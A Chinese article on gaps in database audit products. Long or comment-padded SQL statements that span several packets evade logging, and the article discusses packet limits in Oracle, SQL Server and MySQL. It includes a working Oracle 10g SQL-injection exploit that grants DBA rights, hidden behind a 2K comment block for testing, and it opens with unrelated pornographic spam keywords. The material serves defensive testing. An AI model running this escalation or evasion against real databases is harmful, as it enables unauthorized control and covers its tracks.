少妇尝试黑人粗吊受不了,久久精品免费久精品蜜桃,男受被做哭激烈娇喘gv视频,扒开女人狂c操

大多數(shù)的SQL語句都在1K以里長度，市面上的數(shù)據(jù)庫審計產(chǎn)品大多都能準(zhǔn)確記錄下，也能實現(xiàn)正常的解析；但在SQL語句超過1.5K時，很多的數(shù)據(jù)庫審計產(chǎn)品就會發(fā)生漏審，或者只能審計下部分SQL語句。

一般Oracle一個通訊包的長度在2K，單一包內(nèi)能夠容納的語句長度大約在1.4K多一點（大約為1460）；超過這個大小的SQL語句一般會拆分成多包；在Oracle 11g下通常通訊包為2K，最大可以達(dá)到8K；對于Oracle數(shù)據(jù)庫沒有明確說明可兼容的SQL語句的長度，有的說32K或64K是個臨界點，但筆者也曾作過嘗試2M做的SQL語句也能發(fā)送并被Oracle正常解析。

對于一些數(shù)據(jù)庫審計產(chǎn)品，由于沒有將多個SQL通訊包進(jìn)行有效解析和關(guān)聯(lián)，在發(fā)生長SQL語句時會發(fā)生無法解析或解析不全的情況；具體表現(xiàn)是，對于長SQL語句并未記錄，或僅記錄了前半部分。

這種情況的危害是，對于有些業(yè)務(wù)系統(tǒng)中自身就包含長SQL語句，比如經(jīng)分系統(tǒng)，報表系統(tǒng)，這些SQL語句會被漏記；同時，一些黑客或攻擊人員會利用這樣的一些漏洞，進(jìn)行數(shù)據(jù)庫攻擊而不留下痕跡。比如，若某個數(shù)據(jù)庫審計產(chǎn)品，是基于單包解析機(jī)制進(jìn)行的，則對于超過1.5K的SQL語句無法記錄或僅記錄了前1.5K，則攻擊者可以首先加入1.5K長的注釋，然后再寫語句，這樣會發(fā)生漏審或被審計下來的信息無效。

以下是來自于某個真實應(yīng)用的SQL語句，達(dá)到1.9K；若是讀者有相關(guān)的數(shù)據(jù)庫審計產(chǎn)品，可以用Toad或PL/SQL這樣的工具進(jìn)行發(fā)送，觀測下所擁有的產(chǎn)品是否能夠?qū)徲嬒聛?，審計記錄是否完全?/p>

select spname,bm,sum(num) as heji,sum(case when fddm='002' then num else 0 end) as shipai,sum(case when fddm='063' then num else 0 end) as songbo,sum(case when fddm='005' then num else 0 end) as duobao,sum(case when fddm='006' then num else 0 end) as guangwei,sum(case when fddm='007' then num else 0 end) as jianshe,sum(case when fddm='008' then num else 0 end) as donghua,sum(case when fddm='039' then num else 0 end) as tongdong,sum(case when fddm='010' then num else 0 end) as jiebei,sum(case when fddm='011' then num else 0 end) as sanyuanli,sum(case when fddm='012' then num else 0 end) as nantai,sum(case when fddm='013' then num else 0 end) as huanshi,sum(case when fddm='014' then num else 0 end) as zhanqian,sum(case when fddm='015' then num else 0 end) as lujiang,sum(case when fddm='016' then num else 0 end) as dongchuan,sum(case when fddm='017' then num else 0 end) as taisha,sum(case when fddm='018' then num else 0 end) as huifuxi,sum(case when fddm='019' then num else 0 end) as zhujiang,sum(case when fddm='041' then num else 0 end) as donghu,sum(case when fddm='021' then num else 0 end) as wenming,sum(case when fddm='062' then num else 0 end) as huifu2,sum(case when fddm='042' then num else 0 end) as shiji,sum(case when fddm='043' then num else 0 end) as xincheng,sum(case when fddm='045' then num else 0 end) as gaoqiao,sum(case when fddm='046' then num else 0 end) as shixi,sum(case when fddm='047' then num else 0 end) as nanzhou,sum(case when fddm='048' then num else 0 end) as sanyuanlidadao,sum(case when fddm='050' then num else 0 end) as jingxi,sum(case when fddm='051' then num else 0 end) as chigang,sum(case when fddm='052' then num else 0 end) as panfu,sum(case when fddm='053' then num else 0 end) as jichangxi,sum(case when fddm='054' then num else 0 end) as shengdi,sum(case when fddm='055' then num else 0 end) as wendenan,sum(case when fddm='056' then num else 0 end) as ronghuanan from sale3 where khname in ('$khbmem') group by bm;

以下是另一個模擬的攻擊性的SQL語句，這個語句在Oracle 10g上運行，將把一個普通的數(shù)據(jù)庫用戶提權(quán)到DBA；但我們在對這個語句發(fā)送前，在前面用2K的注釋進(jìn)行掩護(hù)，請筆者觀測下所擁有的產(chǎn)品能否將這個語句審計下來，審計結(jié)果是否完善。

/*************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

**************************************************************************

*************************************************************************/

select

SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR',

'DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' grant dba to NormalUser'''';END;'';END;--','SYS‘,0,'1',0)  from dual;

在實驗時，請讀者別忘了將NormalUser改為實際的用戶名，則運行通過后將實現(xiàn)提權(quán)。

SQL Server的通訊包一般在4K，超過 4088個字符的SQL語句將被拆分；SQL Server支持的連續(xù)SQL通訊可達(dá)到256M，而對于SQL語句的長度沒有明確限制（據(jù)網(wǎng)上的測試數(shù)據(jù)，應(yīng)該超過228K）。

MySQL的通訊包默認(rèn)在1M，在單個包的內(nèi)的語句可以被執(zhí)行，MySQL不支持將SQL語句拆分到多個包中。

讀者可以自行構(gòu)造一些針對SQL Server、MySQL的SQL語句進(jìn)行嘗試，看我們所擁有的數(shù)據(jù)庫審計產(chǎn)品是否能進(jìn)行準(zhǔn)確的審計記錄。要注意的是，類似于Toad、PL/SQL這樣的客戶端工具通常都有SQL語句的長度限制，但這往往不是數(shù)據(jù)庫的SQL長度限制。

傳統(tǒng)的基于網(wǎng)絡(luò)審計發(fā)展而來的數(shù)據(jù)庫審計產(chǎn)品一般都沒有實現(xiàn)跨包的SQL語句拼接，這些產(chǎn)品在測試或一般性的應(yīng)用環(huán)境都不易暴漏出問題，但對于一些復(fù)雜的經(jīng)營分析系統(tǒng)，基于自動SQL語句拼接編程的OA系統(tǒng)等，將會發(fā)生漏審的狀況。通常在發(fā)生漏審時，用戶大多得到的解釋都是歸結(jié)于網(wǎng)絡(luò)流量鏡像的不穩(wěn)定，可能造成了通訊包丟失。

從數(shù)據(jù)庫審計產(chǎn)品開發(fā)的角度，不可能對SQL語句的長度不限長地記錄，關(guān)鍵是要看相關(guān)產(chǎn)品指標(biāo)是否滿足所應(yīng)用的業(yè)務(wù)環(huán)境需求，以及能否有效過濾掉攻擊性語句的掩護(hù)性字符。